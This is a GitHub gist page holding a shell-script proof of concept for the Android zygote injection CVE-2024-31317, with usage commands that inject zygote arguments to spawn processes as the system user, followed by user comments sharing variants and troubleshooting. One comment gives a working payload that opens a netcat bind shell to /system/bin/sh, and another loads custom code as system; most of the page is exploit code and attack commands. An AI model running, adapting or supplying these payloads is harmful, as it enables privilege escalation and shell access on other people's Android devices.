Skip to content

Instantly share code, notes, and snippets.

@rabits
Created July 13, 2024 17:27
Show Gist options
  • Select an option

  • Save rabits/ecae96c256cb25726b2bb92c73f9c081 to your computer and use it in GitHub Desktop.

Select an option

Save rabits/ecae96c256cb25726b2bb92c73f9c081 to your computer and use it in GitHub Desktop.
CVE-2024-31317 PoC 2
#!/bin/sh
# PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317:
# https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
#
# USAGE (android 13, with pre-13 use 12200 instead of 32768):
# host$ adb push payload.sh /sdcard/
# host$ adb shell
# shell$ logcat -c; settings put global hidden_api_blacklist_exemptions "$(sh /sdcard/payload.sh 8192 32768 \
# --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=16787456 --mount-external-default --target-sdk-version=22 \
# --setgroups=3003 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete \
# --instruction-set=x86 --app-data-dir=/data/user/0/jackpal.androidterm --package-name=jackpal.androidterm --is-top-app \
# android.app.ActivityThread seq=40)"; logcat
# Getting the values from parameters
buffer_size=$1
shift
zygote_read_abort_size=$1
shift
zygote_args_len=$#
# What's predefined in the executed command when execute `settings put global hidden_api_blacklist_exemptions <val>`
prefix="6 --set-api-denylist-exemptions "
prefix_len=$(echo -n "$prefix" | wc -c)
add_chars=$(($buffer_size - $prefix_len + 2))
# For tests: echo the prefix, delete from prod:
#echo "6\n--set-api-denylist-exemptions"
# Making pad to fill the first buffer and amount should go in the next buffer
payload=$(printf "\n\n\n\n\n%${add_chars}s" $zygote_args_len | tr ' ' A)
# Printing each zygote argument to run
for arg in "$@"; do
payload="$payload\n$(echo "$arg")"
done
echo "$payload"
payload_len=$(echo "$payload" | wc -c)
echo -n ,,,,
add_chars=$(($buffer_size*2 - ($prefix_len + $payload_len) - 1))
printf "%${add_chars}s" 'X' | tr ' ' 'X'
echo E
@yash-srivastava
Copy link

I was trying to run a service using this exploit which would have some method to perform privileged functions and then return the response. This service could be then called by a custom non-privileged application during runtime achieve privilege function calls and show the result on the UI. Is anyone able to achieve this or anything similar?

@yash-srivastava
Copy link

Following this - https://blog.flanker017.me/cve-2024-31317/
I tried to do something like this

settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
18
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=2049
--mount-external-full
--target-sdk-version=29
--setgroups=3003
--nice-name=hello_world_zygote
--seinfo=platform:system_app:targetSdkVersion=29:complete
--instruction-set=arm
--app-data-dir=/data/
--package-name=com.android.settings
com.android.internal.os.WrapperInit
0
29
-cp
/data/local/tmp/classes.dex
com.test.user.helloworld.WrapperCustom
"

But it is throwing Already Cached excpetion

java.lang.IllegalStateException: Already cached. at android.app.ApplicationLoaders.createAndCacheNonBootclasspathSystemClassLoaders(ApplicationLoaders.java:148) at com.android.internal.os.ZygoteInit.cacheNonBootClasspathClassLoaders(ZygoteInit.java:374) at com.android.internal.os.ZygoteInit.preload(ZygoteInit.java:144) at com.android.internal.os.WrapperInit.main(WrapperInit.java:83) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:492) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:930)

@264312431
Copy link

@yash-srivastava
system uid has no access to /data/local/tmp

@everyone

  • has anyone solved the problem of unsyncing the zygote wire protocol on Android 11 or 10?
  • has anyone gotten the 'add JDWP Flag on the fly' method to work with the full startup (not --invoke-with)?

@bibikalka1
Copy link

@rabits

So there is a nicely working exploit out there that works below Android 12:
https://xdaforums.com/t/system-user-fireos7-os8-all-fire-cubes-sticks-televisions-tablets.4759215/

settings put global hidden_api_blacklist_exemptions "LClass1;->method1( 10 --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=2049 --mount-external-full --setgroups=3003 --nice-name=runnetcat --seinfo=platform:targetSdkVersion=28:complete --invoke-with toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l; " settings delete global hidden_api_blacklist_exemptions sleep 2 toybox nc localhost 4321

I tried to wrap this with your script after some edits, and attempted to use it on Android12. I dump hidden_api_blacklist_exemptions , it seems to have the same structure as the lower Android, but with a bunch of padding. Below is the subset of that. Anyway, A12 immediately restarts zygote, and re-inits everything. If I don't have the delete command right after - it bootloops until I manage to delete hidden_api_blacklist_exemptions.. I don't lose adb access as it's bootlooping, so there is some control. Ideas?

Here is a piece of the padded hidden_api_blacklist_exemptions after your modded script:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALClass1;->method1( 10 --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=2049 --mount-external-full --setgroups=3003 --nice-name=runnetcat --seinfo=platform:targetSdkVersion=28:complete --invoke-with toybox nc -s 127.0.0.1 -p 4321 -L /system/bin/sh -l; ,,,,XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

@rabits
Copy link
Author

rabits commented Sep 15, 2025

Hi @bibikalka1 , great to see this is helping someone) Unfortunately I'm stuck a long ago with making this PoC work for Android 13, no matter how hard I've red-eyed the original papers...

@bibikalka1
Copy link

@rabits

So are you saying that this PoC2 never worked on your virtual A13?

It just seems to crash zygote, and nothing more ...

@rabits
Copy link
Author

rabits commented Sep 15, 2025

On Android >11 there are additional measures implemented which needs to be mitigated. It crashes zygote if done improperly (not correct commands or padding - you can find that if will check zygote crash output). Maximum I was able to achieve is to execute command, then it passed into zygote, but was never able to properly execute a second one to steal it's pid. I suppose precise timing & control is needed, or I'm missing something crucial. And yeah, every execution of PoC I had to reboot the device, otherwise zygote stays in this corrupted state...

@bibikalka1
Copy link

@rabits

Well, if I can ensure that it's the same commands as A11 that are known to work, what is missing in A12/13? Can the padding be excessive?

@bibikalka1
Copy link

@rabits

I guess you were not able to implement this to the letter?
https://blog.flanker017.me/cve-2024-31317/

@bibikalka1
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment